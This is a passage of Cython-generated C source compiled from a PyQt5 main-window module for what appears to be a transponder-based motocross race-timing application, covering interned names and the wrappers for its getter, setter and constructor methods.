*__pyx_n_s_C_concurrents_item_fmt; static PyObject *__pyx_n_s_C_concurrents_moni_fmt; static PyObject *__pyx_n_s_C_listFont; static PyObject *__pyx_n_u_Carton; static PyObject *__pyx_n_u_Concurrents; static PyObject *__pyx_n_u_Cyan; static PyObject *__pyx_n_s_Globals; static PyObject *__pyx_n_u_Green; static PyObject *__pyx_n_s_L_racerlist; static PyObject *__pyx_n_u_MX1; static PyObject *__pyx_n_u_MX125; static PyObject *__pyx_n_u_MX2; static PyObject *__pyx_n_u_MX3; static PyObject *__pyx_n_s_MainWindow; static PyObject *__pyx_n_u_MainWindow; static PyObject *__pyx_n_s_MainWindow__ActualRace; static PyObject *__pyx_n_s_MainWindow__RacerEdited; static PyObject *__pyx_n_s_MainWindow___init; static PyObject *__pyx_n_s_MainWindow_addRacer; static PyObject *__pyx_n_s_MainWindow_connectActions; static PyObject *__pyx_n_s_MainWindow_editRacer; static PyObject *__pyx_n_s_MainWindow_findNpa; static PyObject *__pyx_n_s_MainWindow_findNumRacer; static PyObject *__pyx_n_s_MainWindow_findVille; static PyObject *__pyx_n_s_MainWindow_getActualRace; static PyObject *__pyx_n_s_MainWindow_getRacer; static PyObject *__pyx_n_s_MainWindow_initGui; static PyObject *__pyx_n_s_MainWindow_initGuiConcurrents; static PyObject *__pyx_n_s_MainWindow_initGuiMarques; static PyObject *__pyx_n_s_MainWindow_initGuiPays; static PyObject *__pyx_n_s_MainWindow_initListConcurrents; static PyObject *__pyx_n_s_MainWindow_main; static PyObject *__pyx_n_s_MainWindow_setRacer; static PyObject *__pyx_n_s_MainWindow_setRacerTb; static PyObject *__pyx_n_s_MainWindow_startRace; static PyObject *__pyx_n_s_MainWindow_updateMonitor; static PyObject *__pyx_n_s_MainWindow_updateMonitor_locals; static PyObject *__pyx_n_s_MatchStartsWith; static PyObject *__pyx_n_u_Mini; static PyObject *__pyx_n_u_Nouveau; static PyObject *__pyx_kp_u_P_d_s; static PyObject *__pyx_n_u_Pro; static PyObject *__pyx_n_s_PyQt5; static PyObject *__pyx_n_s_PyQt5_QtCore; static PyObject *__pyx_n_s_PyQt5_QtGui; static PyObject *__pyx_n_s_QBrush; static PyObject *__pyx_n_s_QCoreApplication; static PyObject *__pyx_n_s_QListWidgetItem; static PyObject *__pyx_n_s_QMainWindow; static PyObject *__pyx_n_s_QTableWidgetItem; static PyObject *__pyx_n_s_QTimer; static PyObject *__pyx_n_s_Qt; static PyObject *__pyx_n_s_QtCore; static PyObject *__pyx_n_s_QtWidgets; static PyObject *__pyx_n_s_RB_Add; static PyObject *__pyx_n_s_R_City; static PyObject *__pyx_n_s_R_Npa; static PyObject *__pyx_n_s_R_Pays; static PyObject *__pyx_n_s_R_RaceLive; static PyObject *__pyx_n_s_R_brandMenu; static PyObject *__pyx_n_s_R_firstname; static PyObject *__pyx_n_s_R_lastname; static PyObject *__pyx_n_s_R_number; static PyObject *__pyx_n_s_R_transponder; static PyObject *__pyx_kp_u_Race_allready_running; static PyObject *__pyx_n_u_Red; static PyObject *__pyx_n_s_Set_RacerTp; static PyObject *__pyx_n_s_SolidPattern; static PyObject *__pyx_kp_u_Starting_Race; static PyObject *__pyx_n_s_TM_T_passage; static PyObject *__pyx_kp_u_TP__8_8X; static PyObject *__pyx_n_s_T_Concurrents; static PyObject *__pyx_n_s_T_Marques; static PyObject *__pyx_n_s_T_Pays; static PyObject *__pyx_n_s_T_Racer; static PyObject *__pyx_n_s_T_Ville; static PyObject *__pyx_n_s_Tab_Container; static PyObject *__pyx_n_u_Top; static PyObject *__pyx_n_s_Ui_MainWindow; static PyObject *__pyx_n_s_UserRole; static PyObject *__pyx_n_u_White; static PyObject *__pyx_kp_u__5; static PyObject *__pyx_kp_u__6; static PyObject *__pyx_n_s_actionQuitter; static PyObject *__pyx_n_s_addItem; static PyObject *__pyx_n_s_addRacer; static PyObject *__pyx_n_u_bestlap; static PyObject *__pyx_n_s_brush; static PyObject *__pyx_n_s_c; static PyObject *__pyx_n_s_categorie; static PyObject *__pyx_n_s_clear; static PyObject *__pyx_n_s_clicked; static PyObject *__pyx_n_s_color; static PyObject *__pyx_n_s_colors; static PyObject *__pyx_n_s_column; static PyObject *__pyx_n_s_concurrents; static PyObject *__pyx_n_s_connect; static PyObject *__pyx_n_s_connectActions; static PyObject *__pyx_n_s_count; static PyObject *__pyx_n_s_createTime; static PyObject *__pyx_n_s_currentIndex; static PyObject *__pyx_n_s_currentIndexChanged; static PyObject *__pyx_n_s_currentRow; static PyObject *__pyx_kp_u_d; static PyObject *__pyx_n_s_d_2; static PyObject *__pyx_n_s_data; static PyObject *__pyx_n_s_data_2; static PyObject *__pyx_n_s_dictBestLapMonitor; static PyObject *__pyx_kp_u_display_TRUE; static PyObject *__pyx_n_s_dlg; static PyObject *__pyx_n_s_doc; static PyObject *__pyx_n_s_e; static PyObject *__pyx_n_s_editRacer; static PyObject *__pyx_n_s_empty; static PyObject *__pyx_n_s_exec; static PyObject *__pyx_n_s_findData; static PyObject *__pyx_n_s_findItems; static PyObject *__pyx_n_s_findNpa; static PyObject *__pyx_n_s_findNumRacer; static PyObject *__pyx_n_s_findNumber; static PyObject *__pyx_n_s_findVille; static PyObject *__pyx_n_s_fn; static PyObject *__pyx_n_s_getActualRace; static PyObject *__pyx_n_s_getDict; static PyObject *__pyx_n_s_getNextRecord; static PyObject *__pyx_n_s_getRacer; static PyObject *__pyx_n_s_getRecord; static PyObject *__pyx_n_s_get_nowait; static PyObject *__pyx_n_s_gui_Set_RacerTp; static PyObject *__pyx_n_s_gui_Ui_MainWindow; static PyObject *__pyx_kp_s_home_thor_Devel_Transponder_Chr; static PyObject *__pyx_n_s_i; static PyObject *__pyx_n_s_id; static PyObject *__pyx_n_u_id; static PyObject *__pyx_n_s_import; static PyObject *__pyx_kp_u_in_updateNonitor; static PyObject *__pyx_kp_u_in_updateNonitor_setLine_self_co; static PyObject *__pyx_n_s_indexOf; static PyObject *__pyx_n_s_init; static PyObject *__pyx_n_s_initGui; static PyObject *__pyx_n_s_initGuiConcurrents; static PyObject *__pyx_n_s_initGuiMarques; static PyObject *__pyx_n_s_initGuiPays; static PyObject *__pyx_n_s_initListConcurrents; static PyObject *__pyx_n_s_insertRow; static PyObject *__pyx_n_s_item; static PyObject *__pyx_n_s_itemData; static PyObject *__pyx_n_s_itemDoubleClicked; static PyObject *__pyx_n_s_lap; static PyObject *__pyx_n_u_lapcount; static PyObject *__pyx_n_u_lastlap; static PyObject *__pyx_n_u_lasttick; static PyObject *__pyx_n_s_main; static PyObject *__pyx_n_s_main_2; static PyObject *__pyx_n_s_manageRace; static PyObject *__pyx_n_s_marques; static PyObject *__pyx_n_s_max_time; static PyObject *__pyx_n_s_metaclass; static PyObject *__pyx_n_s_millis; static PyObject *__pyx_n_s_module; static PyObject *__pyx_n_u_monitor; static PyObject *__pyx_n_u_moto; static PyObject *__pyx_n_s_newRecord; static PyObject *__pyx_n_u_nom; static PyObject *__pyx_kp_u_nom_LIKE_s_AND_pays_LIKE_s; static PyObject *__pyx_kp_u_nom_LIKE_s_c_AND_pays_LIKE_s; static PyObject *__pyx_n_u_npa; static PyObject *__pyx_kp_u_npa_LIKE_s_AND_pays_LIKE_s; static PyObject *__pyx_n_u_numero; static PyObject *__pyx_n_s_oldracer; static PyObject *__pyx_n_s_oldracerItem; static PyObject *__pyx_n_s_pa; static PyObject *__pyx_n_s_parent; static PyObject *__pyx_n_s_pays; static PyObject *__pyx_n_u_pays; static PyObject *__pyx_n_s_pop; static PyObject *__pyx_n_s_pos; static PyObject *__pyx_n_u_prenom; static PyObject *__pyx_n_s_prepare; static PyObject *__pyx_n_s_print; static PyObject *__pyx_n_s_q; static PyObject *__pyx_n_s_qApp; static PyObject *__pyx_n_s_qualname; static PyObject *__pyx_n_u_queue; static PyObject *__pyx_n_s_quit; static PyObject *__pyx_n_s_r; static PyObject *__pyx_n_s_r_item; static PyObject *__pyx_n_s_raceDuration; static PyObject *__pyx_n_s_raceLaps; static PyObject *__pyx_n_s_racer; static PyObject *__pyx_n_s_racerList; static PyObject *__pyx_n_s_rc; static PyObject *__pyx_n_s_receiver; static PyObject *__pyx_n_s_removeRow; static PyObject *__pyx_n_s_requestDefine; static PyObject *__pyx_n_s_returnPressed; static PyObject *__pyx_n_s_rf; static PyObject *__pyx_n_u_ridername; static PyObject *__pyx_n_u_ridernum; static PyObject *__pyx_n_s_rl; static PyObject *__pyx_n_s_rm; static PyObject *__pyx_n_s_rn; static PyObject *__pyx_n_s_row; static PyObject *__pyx_n_s_rowCount; static PyObject *__pyx_n_s_rp; static PyObject *__pyx_n_s_rt; static PyObject *__pyx_kp_u_s_d; static PyObject *__pyx_n_s_self; static PyObject *__pyx_n_s_setBackground; static PyObject *__pyx_n_s_setColumnHidden; static PyObject *__pyx_n_s_setCurrentIndex; static PyObject *__pyx_n_s_setCurrentItem; static PyObject *__pyx_n_s_setData; static PyObject *__pyx_n_s_setFont; static PyObject *__pyx_n_s_setItem; static PyObject *__pyx_n_s_setLine; static PyObject *__pyx_n_s_setRacer; static PyObject *__pyx_n_s_setRacerTb; static PyObject *__pyx_n_s_setRowHeight; static PyObject *__pyx_n_s_setSortingEnabled; static PyObject *__pyx_n_s_setStyle; static PyObject *__pyx_n_s_setTabText; static PyObject *__pyx_n_s_setText; static PyObject *__pyx_n_s_setupUi; static PyObject *__pyx_n_s_show; static PyObject *__pyx_n_s_start; static PyObject *__pyx_n_s_startRace; static PyObject *__pyx_n_s_stop; static PyObject *__pyx_n_s_super; static PyObject *__pyx_n_s_t_ville; static PyObject *__pyx_n_s_tables_T_Concurrents; static PyObject *__pyx_n_s_tables_T_Marques; static PyObject *__pyx_n_s_tables_T_Pays; static PyObject *__pyx_n_s_tables_T_Ville; static PyObject *__pyx_n_s_task; static PyObject *__pyx_n_s_test; static PyObject *__pyx_n_s_text; static PyObject *__pyx_n_s_text_blue; static PyObject *__pyx_n_s_text_green; static PyObject *__pyx_n_s_text_inverted; static PyObject *__pyx_n_s_text_red; static PyObject *__pyx_n_u_textcolor; static PyObject *__pyx_n_s_theRacer; static PyObject *__pyx_n_s_timeout; static PyObject *__pyx_n_s_timer; static PyObject *__pyx_n_s_title; static PyObject *__pyx_n_u_totticks; static PyObject *__pyx_n_s_tp; static PyObject *__pyx_n_s_tpRacerList; static PyObject *__pyx_n_s_translate; static PyObject *__pyx_n_u_transponder; static PyObject *__pyx_n_s_triggered; static PyObject *__pyx_n_s_tt; static PyObject *__pyx_n_s_type; static PyObject *__pyx_n_s_updateMonitor; static PyObject *__pyx_n_u_ville; static PyObject *__pyx_pf_10MainWindow_10MainWindow_getActualRace(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_2getRacer(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_4setRacer(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_theRacer); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_6__init__(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_parent); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_8connectActions(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_10startRace(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_12setRacerTb(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *__pyx_v_item); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_14addRacer(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_16findNpa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_18findVille(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_20findNumRacer(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_22editRacer(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_item); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_24initGuiPays(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_26initGuiMarques(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_28initListConcurrents(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_30initGuiConcurrents(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_32initGui(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_color, PyObject *__pyx_v_row, PyObject *__pyx_v_column, PyObject *__pyx_v_text); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_34updateMonitor(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_10MainWindow_10MainWindow_36main(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_float_0_999999999; static PyObject *__pyx_int_0; static PyObject *__pyx_int_1; static PyObject *__pyx_int_2; static PyObject *__pyx_int_3; static PyObject *__pyx_int_4; static PyObject *__pyx_int_5; static PyObject *__pyx_int_12; static PyObject *__pyx_int_40; static PyObject *__pyx_int_1000; static PyObject *__pyx_tuple_; static PyObject *__pyx_tuple__2; static PyObject *__pyx_tuple__3; static PyObject *__pyx_tuple__4; static PyObject *__pyx_tuple__7; static PyObject *__pyx_tuple__8; static PyObject *__pyx_tuple__9; static PyObject *__pyx_tuple__10; static PyObject *__pyx_tuple__11; static PyObject *__pyx_tuple__12; static PyObject *__pyx_tuple__13; static PyObject *__pyx_tuple__15; static PyObject *__pyx_tuple__16; static PyObject *__pyx_tuple__17; static PyObject *__pyx_tuple__18; static PyObject *__pyx_tuple__19; static PyObject *__pyx_tuple__20; static PyObject *__pyx_tuple__21; static PyObject *__pyx_tuple__22; static PyObject *__pyx_tuple__23; static PyObject *__pyx_tuple__24; static PyObject *__pyx_tuple__25; static PyObject *__pyx_tuple__27; static PyObject *__pyx_tuple__29; static PyObject *__pyx_tuple__31; static PyObject *__pyx_tuple__33; static PyObject *__pyx_tuple__34; static PyObject *__pyx_tuple__36; static PyObject *__pyx_tuple__38; static PyObject *__pyx_tuple__40; static PyObject *__pyx_tuple__42; static PyObject *__pyx_tuple__44; static PyObject *__pyx_tuple__46; static PyObject *__pyx_tuple__48; static PyObject *__pyx_tuple__50; static PyObject *__pyx_tuple__52; static PyObject *__pyx_tuple__54; static PyObject *__pyx_tuple__56; static PyObject *__pyx_tuple__58; static PyObject *__pyx_tuple__60; static PyObject *__pyx_tuple__62; static PyObject *__pyx_codeobj__14; static PyObject *__pyx_codeobj__26; static PyObject *__pyx_codeobj__28; static PyObject *__pyx_codeobj__30; static PyObject *__pyx_codeobj__32; static PyObject *__pyx_codeobj__35; static PyObject *__pyx_codeobj__37; static PyObject *__pyx_codeobj__39; static PyObject *__pyx_codeobj__41; static PyObject *__pyx_codeobj__43; static PyObject *__pyx_codeobj__45; static PyObject *__pyx_codeobj__47; static PyObject *__pyx_codeobj__49; static PyObject *__pyx_codeobj__51; static PyObject *__pyx_codeobj__53; static PyObject *__pyx_codeobj__55; static PyObject *__pyx_codeobj__57; static PyObject *__pyx_codeobj__59; static PyObject *__pyx_codeobj__61; static PyObject *__pyx_codeobj__63; /* "MainWindow.py":36 * __ActualRace = None * * def getActualRace(self): # <<<<<<<<<<<<<< * return self.__ActualRace * */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_1getActualRace(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_1getActualRace = {"getActualRace", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_1getActualRace, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_1getActualRace(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("getActualRace (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_getActualRace(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_getActualRace(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; __Pyx_RefNannySetupContext("getActualRace", 0); /* "MainWindow.py":37 * * def getActualRace(self): * return self.__ActualRace # <<<<<<<<<<<<<< * * def getRacer(self): */ __Pyx_XDECREF(__pyx_r); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_MainWindow__ActualRace); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_r = __pyx_t_1; __pyx_t_1 = 0; goto __pyx_L0; /* "MainWindow.py":36 * __ActualRace = None * * def getActualRace(self): # <<<<<<<<<<<<<< * return self.__ActualRace * */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_AddTraceback("MainWindow.MainWindow.getActualRace", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":39 * return self.__ActualRace * * def getRacer(self): # <<<<<<<<<<<<<< * return self.__RacerEdited * */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_3getRacer(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_3getRacer = {"getRacer", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_3getRacer, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_3getRacer(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("getRacer (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_2getRacer(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_2getRacer(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; __Pyx_RefNannySetupContext("getRacer", 0); /* "MainWindow.py":40 * * def getRacer(self): * return self.__RacerEdited # <<<<<<<<<<<<<< * * def setRacer(self, theRacer): */ __Pyx_XDECREF(__pyx_r); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_MainWindow__RacerEdited); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_r = __pyx_t_1; __pyx_t_1 = 0; goto __pyx_L0; /* "MainWindow.py":39 * return self.__ActualRace * * def getRacer(self): # <<<<<<<<<<<<<< * return self.__RacerEdited * */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_AddTraceback("MainWindow.MainWindow.getRacer", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":42 * return self.__RacerEdited * * def setRacer(self, theRacer): # <<<<<<<<<<<<<< * self.__RacerEdited = theRacer * */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_5setRacer(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_5setRacer = {"setRacer", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_5setRacer, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_5setRacer(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_theRacer = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setRacer (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_theRacer,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_theRacer)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setRacer", 1, 2, 2, 1); __PYX_ERR(0, 42, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "setRacer") < 0)) __PYX_ERR(0, 42, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_theRacer = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("setRacer", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 42, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("MainWindow.MainWindow.setRacer", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_10MainWindow_10MainWindow_4setRacer(__pyx_self, __pyx_v_self, __pyx_v_theRacer); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_4setRacer(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_theRacer) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setRacer", 0); /* "MainWindow.py":43 * * def setRacer(self, theRacer): * self.__RacerEdited = theRacer # <<<<<<<<<<<<<< * * def __init__(self, parent=None): */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_MainWindow__RacerEdited, __pyx_v_theRacer) < 0) __PYX_ERR(0, 43, __pyx_L1_error) /* "MainWindow.py":42 * return self.__RacerEdited * * def setRacer(self, theRacer): # <<<<<<<<<<<<<< * self.__RacerEdited = theRacer * */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_AddTraceback("MainWindow.MainWindow.setRacer", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":45 * self.__RacerEdited = theRacer * * def __init__(self, parent=None): # <<<<<<<<<<<<<< * super(MainWindow, self).__init__(parent) * self.setupUi(self) */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_7__init__(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_7__init__ = {"__init__", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_7__init__, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_7__init__(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_parent = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__init__ (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_parent,0}; PyObject* values[2] = {0,0}; values[1] = ((PyObject *)((PyObject *)Py_None)); if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (kw_args > 0) { PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s_parent); if (value) { values[1] = value; kw_args--; } } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "__init__") < 0)) __PYX_ERR(0, 45, __pyx_L3_error) } } else { switch (PyTuple_GET_SIZE(__pyx_args)) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); break; default: goto __pyx_L5_argtuple_error; } } __pyx_v_self = values[0]; __pyx_v_parent = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("__init__", 0, 1, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 45, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("MainWindow.MainWindow.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_10MainWindow_10MainWindow_6__init__(__pyx_self, __pyx_v_self, __pyx_v_parent); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_6__init__(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_parent) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; __Pyx_RefNannySetupContext("__init__", 0); /* "MainWindow.py":46 * * def __init__(self, parent=None): * super(MainWindow, self).__init__(parent) # <<<<<<<<<<<<<< * self.setupUi(self) * */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_MainWindow); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = PyTuple_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __Pyx_INCREF(__pyx_v_self); __Pyx_GIVEREF(__pyx_v_self); PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_v_self); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_super, __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_init); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_2) { __pyx_t_1 = 